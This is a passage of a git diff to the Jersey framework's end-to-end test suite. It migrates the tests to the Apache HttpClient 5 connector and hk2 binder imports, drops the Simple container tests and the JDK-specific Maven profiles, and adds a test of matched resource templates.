+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -33,7 +33,7 @@
 
 import jakarta.inject.Inject;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
 import org.glassfish.jersey.process.internal.RequestScoped;
 import org.glassfish.jersey.server.ResourceConfig;
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ResponseStatusTypeTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ResponseStatusTypeTest.java
index 60c402b..fc3fc01 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ResponseStatusTypeTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ResponseStatusTypeTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
 import jakarta.ws.rs.core.Application;
 import jakarta.ws.rs.core.Response;
 
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
+import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.grizzly.connector.GrizzlyConnectorProvider;
 import org.glassfish.jersey.server.ResourceConfig;
@@ -30,7 +30,6 @@
 import org.glassfish.jersey.test.grizzly.GrizzlyTestContainerFactory;
 import org.glassfish.jersey.test.inmemory.InMemoryTestContainerFactory;
 import org.glassfish.jersey.test.jdkhttp.JdkHttpServerTestContainerFactory;
-import org.glassfish.jersey.test.simple.SimpleTestContainerFactory;
 import org.glassfish.jersey.test.spi.TestContainerException;
 import org.glassfish.jersey.test.spi.TestContainerFactory;
 
@@ -48,8 +47,7 @@
 @Suite
 @SelectClasses({ResponseStatusTypeTest.InMemoryTest.class,
         ResponseStatusTypeTest.GrizzlyContainerGrizzlyConnectorTest.class,
-        ResponseStatusTypeTest.GrizzlyContainerApacheConnectorTest.class,
-        ResponseStatusTypeTest.SimpleContainerHttpUrlConnectorTest.class})
+        ResponseStatusTypeTest.GrizzlyContainerApacheConnectorTest.class})
 public class ResponseStatusTypeTest {
 
     public static final String REASON_PHRASE = "my-phrase";
@@ -130,7 +128,7 @@
 
         @Override
         protected void configureClient(ClientConfig config) {
-            config.connectorProvider(new ApacheConnectorProvider());
+            config.connectorProvider(new Apache5ConnectorProvider());
         }
 
 
@@ -150,34 +148,6 @@
         }
     }
 
-    public static class SimpleContainerHttpUrlConnectorTest extends JerseyTest {
-        @Override
-        protected Application configure() {
-            return new ResourceConfig(TestResource.class);
-
-        }
-
-        @Override
-        protected TestContainerFactory getTestContainerFactory() throws TestContainerException {
-            return new SimpleTestContainerFactory();
-        }
-
-        @Test
-        public void testCustom() {
-            _testCustom(target());
-        }
-
-        @Test
-        public void testBadRequest() {
-            _testBadRequest(target());
-        }
-
-        @Test
-        public void testCustomBadRequest() {
-            _testCustomBadRequest(target());
-        }
-    }
-
     public static class JdkHttpContainerHttpUrlConnectorTest extends JerseyTest {
         @Override
         protected Application configure() {
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ServerDestroyTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ServerDestroyTest.java
index 3e20517..cdcfbe2 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ServerDestroyTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ServerDestroyTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -41,7 +41,7 @@
 import jakarta.inject.Inject;
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.server.spi.AbstractContainerLifecycleListener;
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/monitoring/ReloadApplicationEventTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/monitoring/ReloadApplicationEventTest.java
index 690777a..3f63919 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/monitoring/ReloadApplicationEventTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/monitoring/ReloadApplicationEventTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -44,7 +44,6 @@
 import org.glassfish.jersey.test.grizzly.GrizzlyTestContainerFactory;
 import org.glassfish.jersey.test.jdkhttp.JdkHttpServerTestContainerFactory;
 import org.glassfish.jersey.test.jetty.JettyTestContainerFactory;
-import org.glassfish.jersey.test.simple.SimpleTestContainerFactory;
 import org.glassfish.jersey.test.spi.TestContainerException;
 import org.glassfish.jersey.test.spi.TestContainerFactory;
 
@@ -67,8 +66,7 @@
  * @author Miroslav Fuksa
  */
 @Suite
-@SelectClasses({ReloadApplicationEventTest.GrizzlyTestCase.class, ReloadApplicationEventTest.JdkServerTestCase.class,
-        ReloadApplicationEventTest.SimpleHttpServerTestCase.class})
+@SelectClasses({ReloadApplicationEventTest.GrizzlyTestCase.class, ReloadApplicationEventTest.JdkServerTestCase.class})
 public class ReloadApplicationEventTest extends JerseyTest {
 
     public static final String ORIGINAL = "original";
@@ -90,9 +88,6 @@
         }
     }
 
-    /**
-     * Works only with Java 7
-     */
     public static class JettyServerTestCase extends ParentTest {
 
         @Override
@@ -101,14 +96,6 @@
         }
     }
 
-    public static class SimpleHttpServerTestCase extends ParentTest {
-
-        @Override
-        protected TestContainerFactory getTestContainerFactory() throws TestContainerException {
-            return new SimpleTestContainerFactory();
-        }
-    }
-
     public static class ParentTest extends JerseyTest {
 
         @BeforeEach
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/monitoring/StatisticsDestroyTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/monitoring/StatisticsDestroyTest.java
index f47330b..a13a20d 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/monitoring/StatisticsDestroyTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/monitoring/StatisticsDestroyTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -39,7 +39,6 @@
 import org.glassfish.jersey.test.grizzly.GrizzlyTestContainerFactory;
 import org.glassfish.jersey.test.jdkhttp.JdkHttpServerTestContainerFactory;
 import org.glassfish.jersey.test.jetty.JettyTestContainerFactory;
-import org.glassfish.jersey.test.simple.SimpleTestContainerFactory;
 import org.glassfish.jersey.test.spi.TestContainerException;
 import org.glassfish.jersey.test.spi.TestContainerFactory;
 import org.junit.jupiter.api.AfterEach;
@@ -53,8 +52,7 @@
  * @author Miroslav Fuksa
  */
 @Suite
-@SelectClasses({StatisticsDestroyTest.GrizzlyTestCase.class, StatisticsDestroyTest.JdkServerTestCase.class,
-        StatisticsDestroyTest.SimpleHttpServerTestCase.class})
+@SelectClasses({StatisticsDestroyTest.GrizzlyTestCase.class, StatisticsDestroyTest.JdkServerTestCase.class})
 public class StatisticsDestroyTest {
 
     public static class ParentTest extends JerseyTest {
@@ -152,14 +150,6 @@
         }
     }
 
-    public static class SimpleHttpServerTestCase extends ParentTest {
-        @Override
-        protected TestContainerFactory getTestContainerFactory() throws TestContainerException {
-            StatisticsListener.reset();
-            return new SimpleTestContainerFactory();
-        }
-    }
-
     public static class StatisticsListener extends AbstractContainerLifecycleListener
             implements MonitoringStatisticsListener, DestroyListener {
 
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/routing/GetMatchedResourceTemplateTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/routing/GetMatchedResourceTemplateTest.java
new file mode 100644
index 0000000..6e467d7
--- /dev/null
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/routing/GetMatchedResourceTemplateTest.java
@@ -0,0 +1,127 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.tests.e2e.server.routing;
+
+import jakarta.ws.rs.ApplicationPath;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.PUT;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.UriInfo;
+import org.glassfish.jersey.server.internal.routing.UriRoutingContext;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+import java.util.Collections;
+import java.util.Set;
+
+public class GetMatchedResourceTemplateTest extends JerseyTest {
+
+    @Path("/resource")
+    public static class UriInfoTestResource {
+        public static final String ONE_POST = "{name:[a-zA-Z][a-zA-Z_0-9]*}";
+        public static final String TWO_GET = "{Prefix}{p:/?}{id: ((\\d+)?)}/abc{p2:/?}{number: (([A-Za-z0-9]*)?)}";
+        public static final String TWO_POST = "{Prefix}{p:/?}{id: ((\\d+)?)}/abc/{yeah}";
+        public static final String THREE_SUB = "{x:[a-z]}";
+
+        public static class SubGet {
+            @PUT
+            public String get(@Context UriInfo uriInfo) {
+                return ((UriRoutingContext) uriInfo).getMatchedResourceTemplate();
+            }
+        }
+
+        @POST
+        @Path("one/" + ONE_POST)
+        public Response post(@Context UriInfo info) {
+            return Response.ok(((UriRoutingContext) info).getMatchedResourceTemplate()).build();
+        }
+
+        @GET
+        @Path("two/" + TWO_GET)
+        public Response get(@Context UriInfo info) {
+            return Response.ok(((UriRoutingContext) info).getMatchedResourceTemplate()).build();
+        }
+
+        @POST
+        @Path("two/" + TWO_POST)
+        public Response postTwo(@Context UriInfo info) {
+            return Response.ok(((UriRoutingContext) info).getMatchedResourceTemplate()).build();
+        }
+
+        @Path("three/" + THREE_SUB)
+        public SubGet doAnything4() {
+            return new SubGet();
+        }
+
+        @Path("four/" + THREE_SUB)
+        public UriInfoTestResource postOne() {
+            return new UriInfoTestResource();
+        }
+    }
+
+    @ApplicationPath("/app")
+    private static class App extends Application {
+        @Override
+        public Set<Class<?>> getClasses() {
+            return Collections.singleton(UriInfoTestResource.class);
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        return new App();
+    }
+
+    @Test
+    public void testPOSTone() {
+        try (Response r = target("app/resource/one/azazaz00").request().post(null)) {
+            Assertions.assertEquals(200, r.getStatus());
+            Assertions.assertEquals("/app/resource/one/" + UriInfoTestResource.ONE_POST, r.readEntity(String.class));
+        }
+    }
+
+    @Test
+    public void testTWOget() {
+        try (Response r = target("app/resource/two/P/abc/MyNumber").request().get()) {
+            Assertions.assertEquals(200, r.getStatus());
+            Assertions.assertEquals("/app/resource/two/" + UriInfoTestResource.TWO_GET, r.readEntity(String.class));
+        }
+    }
+
+    @Test
+    public void testTWOpost() {
+        try (Response r = target("app/resource/two/P/abc/MyNumber").request().post(null)) {
+            Assertions.assertEquals(200, r.getStatus());
+            Assertions.assertEquals("/app/resource/two/" + UriInfoTestResource.TWO_POST, r.readEntity(String.class));
+        }
+    }
+
+    @Test
+    public void testPUTthree2() {
+        try (Response r = target("app/resource/three/a").request().put(Entity.entity("", MediaType.WILDCARD_TYPE))) {
+            Assertions.assertEquals(200, r.getStatus());
+            Assertions.assertEquals("/app/resource/three/" + UriInfoTestResource.THREE_SUB, r.readEntity(String.class));
+        }
+    }
+}
diff --git a/tests/e2e-testng/pom.xml b/tests/e2e-testng/pom.xml
index f0ba038..fde635f 100644
--- a/tests/e2e-testng/pom.xml
+++ b/tests/e2e-testng/pom.xml
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e-testng</artifactId>
diff --git a/tests/e2e-tls/pom.xml b/tests/e2e-tls/pom.xml
index 5fd9794..187b24d 100644
--- a/tests/e2e-tls/pom.xml
+++ b/tests/e2e-tls/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e-tls</artifactId>
@@ -100,12 +100,6 @@
             <version>0.18.1</version>
             <scope>test</scope>
         </dependency>
-
-        <dependency>
-            <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
-            <scope>test</scope>
-        </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
             <artifactId>jersey-apache5-connector</artifactId>
@@ -137,57 +131,20 @@
             <version>${project.version}</version>
             <scope>test</scope>
         </dependency>
+        <dependency>
+            <groupId>com.sun.xml.bind</groupId>
+            <artifactId>jaxb-osgi</artifactId>
+            <scope>test</scope>
+        </dependency>
     </dependencies>
 
-    <profiles>
-        <profile>
-            <id>jdk8</id>
-            <activation>
-                <jdk>8</jdk>
-            </activation>
-            <properties>
-                <http.patch.addopens> </http.patch.addopens>
-            </properties>
-        </profile>
-        <profile>
-            <id>jdk11+</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>com.sun.xml.bind</groupId>
-                    <artifactId>jaxb-osgi</artifactId>
-                    <scope>test</scope>
-                </dependency>
-            </dependencies>
-            <properties>
-                <!-- https://bugs.openjdk.java.net/browse/JDK-8211426 -->
-                <surefire.security.argline>-Djdk.tls.server.protocols=TLSv1.2</surefire.security.argline>
-                <http.patch.addopens>
-                    --add-opens java.base/java.net=ALL-UNNAMED
-                    --add-opens java.base/sun.net.www.protocol.https=ALL-UNNAMED
-                </http.patch.addopens>
-            </properties>
-        </profile>
-        <profile>
-            <id>JDK_17-</id>
-            <activation>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-surefire-plugin</artifactId>
-                        <configuration>
-                            <!-- The certificate is not working with JDK 11 -->
-                            <excludes><exclude>**/ConcurrentHttpsUrlConnectionTest*</exclude></excludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-    </profiles>
+    <properties>
+        <!-- https://bugs.openjdk.java.net/browse/JDK-8211426 -->
+        <surefire.security.argline>-Djdk.tls.server.protocols=TLSv1.2</surefire.security.argline>
+        <http.patch.addopens>
+            --add-opens java.base/java.net=ALL-UNNAMED
+            --add-opens java.base/sun.net.www.protocol.https=ALL-UNNAMED
+        </http.patch.addopens>
+    </properties>
 
 </project>
diff --git a/tests/e2e/pom.xml b/tests/e2e/pom.xml
index 2fbbd20..e2cf8b9 100644
--- a/tests/e2e/pom.xml
+++ b/tests/e2e/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e</artifactId>
@@ -126,7 +126,7 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
+            <artifactId>jersey-apache5-connector</artifactId>
             <scope>test</scope>
         </dependency>
         <dependency>
@@ -198,27 +198,6 @@
             </properties>
         </profile>
         <profile>
-            <id>JettyExclude</id>
-            <activation>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/tests/e2e/container/Jersey2462Test.java</testExclude>
-                                <testExclude>org/glassfish/jersey/tests/e2e/container/JettyEmptyHeaderParamTest.java</testExclude>
-                                <testExclude>org/glassfish/jersey/tests/e2e/inject/SingleRequestScopeInjectionTest.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
             <id>sonar</id>
             <build>
                 <pluginManagement>
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/AbortingFilterTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/AbortingFilterTest.java
index 35566f8..e836573 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/AbortingFilterTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/AbortingFilterTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -33,7 +33,7 @@
 import jakarta.ws.rs.core.FeatureContext;
 import jakarta.ws.rs.core.Response;
 
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
+import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.logging.LoggingFeature;
 import org.glassfish.jersey.server.ResourceConfig;
@@ -135,7 +135,7 @@
     @Test
     public void testAbortingFilterWithApacheConnector() {
         ClientConfig clientConfig = new ClientConfig();
-        clientConfig.connectorProvider(new ApacheConnectorProvider());
+        clientConfig.connectorProvider(new Apache5ConnectorProvider());
         Client client = ClientBuilder.newClient(clientConfig);
 
         final Response response = client.target(getBaseUri()).path("/simple").request().get();
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/MessageBodyReaderTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/MessageBodyReaderTest.java
index 9076cae..7da8af0 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/MessageBodyReaderTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/MessageBodyReaderTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -34,16 +34,17 @@
 import jakarta.ws.rs.ext.MessageBodyReader;
 import jakarta.ws.rs.ext.Provider;
 
+import org.apache.hc.core5.http.ClassicHttpResponse;
+import org.apache.hc.core5.http.ContentType;
 import org.glassfish.jersey.logging.LoggingFeature;
 import org.glassfish.jersey.message.internal.ReaderWriter;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
 
-import org.apache.http.HttpResponse;
-import org.apache.http.client.HttpClient;
-import org.apache.http.client.methods.HttpPost;
-import org.apache.http.entity.ByteArrayEntity;
-import org.apache.http.impl.client.HttpClientBuilder;
+import org.apache.hc.client5.http.classic.HttpClient;
+import org.apache.hc.client5.http.classic.methods.HttpPost;
+import org.apache.hc.core5.http.io.entity.ByteArrayEntity;
+import org.apache.hc.client5.http.impl.classic.HttpClientBuilder;
 import org.junit.jupiter.api.Test;
 import static org.junit.jupiter.api.Assertions.assertEquals;
 
@@ -115,13 +116,13 @@
     @Test
     public void testDefaultContentTypeForReader() throws Exception {
         final HttpPost httpPost = new HttpPost(UriBuilder.fromUri(getBaseUri()).path("resource/plain").build());
-        httpPost.setEntity(new ByteArrayEntity("value".getBytes()));
+        httpPost.setEntity(new ByteArrayEntity("value".getBytes(), null));
         httpPost.removeHeaders("Content-Type");
 
         final HttpClient httpClient = HttpClientBuilder.create().build();
-        final HttpResponse response = httpClient.execute(httpPost);
+        final ClassicHttpResponse response = (ClassicHttpResponse) httpClient.execute(httpPost);
 
-        assertEquals(200, response.getStatusLine().getStatusCode());
+        assertEquals(200, response.getCode());
         assertEquals("value;null", ReaderWriter.readFromAsString(response.getEntity().getContent(), null));
     }
 }
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/RestrictedHeaderTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/RestrictedHeaderTest.java
index 9a386cf..61c78ae 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/RestrictedHeaderTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/RestrictedHeaderTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,7 +28,7 @@
 import jakarta.ws.rs.core.MultivaluedMap;
 import jakarta.ws.rs.core.Response;
 
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
+import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.logging.LoggingFeature;
 import org.glassfish.jersey.server.ResourceConfig;
@@ -103,7 +103,7 @@
     @Test
     public void testForbiddenHeadersWithApacheConnector() {
         ClientConfig clientConfig = new ClientConfig();
-        clientConfig.connectorProvider(new ApacheConnectorProvider());
+        clientConfig.connectorProvider(new Apache5ConnectorProvider());
         Client client = ClientBuilder.newClient(clientConfig);
         testHeaders(client);
     }
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/Hk2BinderSupportTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/Hk2BinderSupportTest.java
index bcdfbc4..5bb533d 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/Hk2BinderSupportTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/Hk2BinderSupportTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -62,7 +62,7 @@
         }
     }
 
-    private static class JerseyBinder extends org.glassfish.jersey.internal.inject.AbstractBinder {
+    private static class JerseyBinder extends org.glassfish.jersey.inject.hk2.AbstractBinder {
         private static final String JERSEY_HELLO_MESSAGE = "Hello Jersey!";
 
         @Override
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/NoEntityTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/NoEntityTest.java
index 996c68e..8f3cb51 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/NoEntityTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/NoEntityTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -33,7 +33,7 @@
 import org.glassfish.jersey.moxy.json.MoxyJsonFeature;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
-import org.glassfish.jersey.test.simple.SimpleTestContainerFactory;
+import org.glassfish.jersey.test.jdkhttp.JdkHttpServerTestContainerFactory;
 import org.glassfish.jersey.test.spi.TestContainerException;
 import org.glassfish.jersey.test.spi.TestContainerFactory;
 
@@ -154,6 +154,6 @@
 
     @Override
     protected TestContainerFactory getTestContainerFactory() throws TestContainerException {
-        return new SimpleTestContainerFactory();
+        return new JdkHttpServerTestContainerFactory();
     }
 }
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/RequestScopeTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/RequestScopeTest.java
index fa64b62..0c651b4 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/RequestScopeTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/common/RequestScopeTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -26,13 +26,12 @@
 
 import jakarta.inject.Inject;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
 import org.glassfish.jersey.process.internal.RequestScoped;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
 
-import org.junit.jupiter.api.Disabled;
 import org.junit.jupiter.api.Test;
 import static org.hamcrest.CoreMatchers.is;
 import static org.hamcrest.MatcherAssert.assertThat;
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/ApplicationPathTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/ApplicationPathTest.java
index 87ea906..d542cb9 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/ApplicationPathTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/ApplicationPathTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,11 +22,8 @@
 import jakarta.ws.rs.core.Application;
 import jakarta.ws.rs.core.Response;
 import org.glassfish.jersey.test.grizzly.GrizzlyTestContainerFactory;
-import org.glassfish.jersey.test.inmemory.InMemoryTestContainerFactory;
 import org.glassfish.jersey.test.jdkhttp.JdkHttpServerTestContainerFactory;
-import org.glassfish.jersey.test.jetty.JettyTestContainerFactory;
 import org.glassfish.jersey.test.netty.NettyTestContainerFactory;
-import org.glassfish.jersey.test.simple.SimpleTestContainerFactory;
 import org.glassfish.jersey.test.spi.TestContainerFactory;
 import org.glassfish.jersey.test.spi.TestHelper;
 import org.junit.jupiter.api.DynamicContainer;
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/HeadTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/HeadTest.java
index 08f4bfd..c20a95a 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/HeadTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/HeadTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,9 +19,7 @@
 import java.io.ByteArrayInputStream;
 import java.io.InputStream;
 import java.util.Arrays;
-import java.util.Collection;
 import java.util.List;
-import java.util.stream.Collectors;
 import java.util.stream.Stream;
 
 import jakarta.ws.rs.GET;
@@ -36,7 +34,6 @@
 import org.glassfish.jersey.test.grizzly.GrizzlyTestContainerFactory;
 import org.glassfish.jersey.test.inmemory.InMemoryTestContainerFactory;
 import org.glassfish.jersey.test.jetty.JettyTestContainerFactory;
-import org.glassfish.jersey.test.simple.SimpleTestContainerFactory;
 import org.glassfish.jersey.test.spi.TestContainerFactory;
 import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.MethodSource;
@@ -53,7 +50,6 @@
     private static final List<TestContainerFactory> FACTORIES = Arrays.asList(
             new GrizzlyTestContainerFactory(),
